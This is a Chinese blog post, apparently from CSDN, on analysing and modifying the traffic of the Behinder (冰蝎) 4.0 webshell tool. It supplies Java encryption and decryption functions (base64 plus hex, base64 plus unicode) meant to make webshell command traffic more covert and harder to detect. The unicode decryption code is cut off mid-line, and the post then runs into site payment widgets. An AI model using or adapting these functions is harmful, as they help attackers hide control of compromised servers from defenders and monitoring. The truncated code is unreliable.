冰蝎4.0流量分析及魔改

本文介绍了冰蝎4.0如何进行流量魔改,包括变换加密方式如hex、unicode、rot13加密,以及变换传输方式如xml、key-value、multipart格式,并探讨了加密方式与传输方式的组合使用,以增强流量隐蔽性。
摘要由CSDN通过智能技术生成

0x00 前言

冰蝎v4.0开放了传输协议的自定义功能,使得流量魔改更为简单方便,本文以jsp脚本类型为例,提供一些冰蝎4流量魔改的方式

0x01传输协议分析

冰蝎4内置了如下几种传输协议,传输协议可以理解为流量的加密方式

以default_xor传输协议为例,这种传输协议是对原始数据进行了异或加密

效果如下:

我们来去掉加密解密函数的相关代码

如果不用任何加解密函数,request body其实传输的是java 字节码

响应体其实也是明文的固定格式的json类型
{"msg":"执行结果base64编码","status":"c3VjY2Vzcw=="}

0x02冰蝎4.0魔改

变换加密方式

冰蝎4将加解密函数给外置出来,我们可以自己定义通信流量的加密方式,本次列举hex、unicode、rot13等加密方式

hex加密

前面已经分析过传输的data明文数据,所以在它基础上进行base64编码+hex编码,写上加解密函数即可实现hex加密流量

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{

    String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
    String str="";
    for (int i=0;i<result.length();i++){
        int ch = (int)result.charAt(i);
        String s4 = Integer.toHexString(ch);
        str = str + s4;
    }
    return str.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
                String s= new String(data);
        byte[] baKeyword = new byte[s.length()/2];
        for(int i = 0; i < baKeyword.length; i++){
        try{
            baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
        }catch(Exception e){
            e.printStackTrace();
        }
        }
        try{
        s = new String(baKeyword, "utf-8");
        }catch (Exception e1){
        e1.printStackTrace();
        }
        byte[] str = java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));
        return str;
}

通信流量如下:

unicode加密

在base64编码的基础上加一层unicode编码,写unicode编码的加解密函数

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{

    String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
    String str="";
    StringBuffer unicode = new StringBuffer();
    for(int i = 0; i < result.length(); i++){
        char c = result.charAt(i);
        unicode.append("\\u00" + Integer.toHexString(c));
    }
    return unicode.toString().getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
        String unicode= new String(data);
        StringBuilder sb = new StringBuilder();
        int i = -1;
        int pos = 0;
        while ((i = unicode.indexOf("\
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值